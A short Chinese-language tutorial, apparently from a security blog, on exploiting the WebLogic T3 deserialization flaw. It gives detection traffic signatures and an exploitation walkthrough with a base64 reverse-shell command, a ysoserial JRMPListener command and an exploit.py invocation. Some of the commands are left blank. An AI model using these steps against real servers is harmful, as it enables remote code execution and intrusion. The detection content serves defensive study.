+
WebLogic 服务器 中的RMI通过T3协议进行通信传输,T3协议在weblogic控制台是默认开启的,攻击者通过传入恶意的反序列化数据,接收数据后进行反序列化
T3协议中传输的数据包存在非反序列化数据的部分和反序列化数据的部分,只要把其中反序列化数据部分的一部分替换成我们的恶意序列化数据就可以了,有两种替换方式
1.将weblogic发送的JAVA序列化数据部分替换为恶意的序列化数据
2.将weblogic发送的JAVA序列化数据的非序列化数据部分与恶意的序列化数据进行拼接
流量特征
流量特征有"weblogic.jms.common.StreamMessageImpl"、"com.tangosol.coherence.transactional"等字眼,他也会有一些命令执行函数的特征,例如whois,ls等
攻击流程
漏洞检测
漏洞利用
1.
准备一个反弹 Shell 的命令,并使用 base64 编码,因为直接的命令在 Runtime.getRuntime().exec() 中可能不适用。
bash -c 'echo | base64 -d | bash -i'
在攻击机上使用 Netcat 监听来接收反弹 Shell:
bash
2.
下载并使用 ysoserial.jar 工具,准备利用代码:
bash
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 38080 CommonsCollections1 '
'
JRMPListener 监听端口 38080,并等待远程连接。
3.
python2 exploit.py 192.168.28.136 7001 /path/to/ysoserial.jar 38080 JRMPClient
监听端口上接收到的连接确认漏洞利用成功,执行 whoami 或其他命令验证。
结果验证
如果配置和步骤正确,攻击机应该能够通过 Netcat 监听端口接收到来自 Weblogic 服务器的反弹 Shell,进一步确认漏洞成功被利用。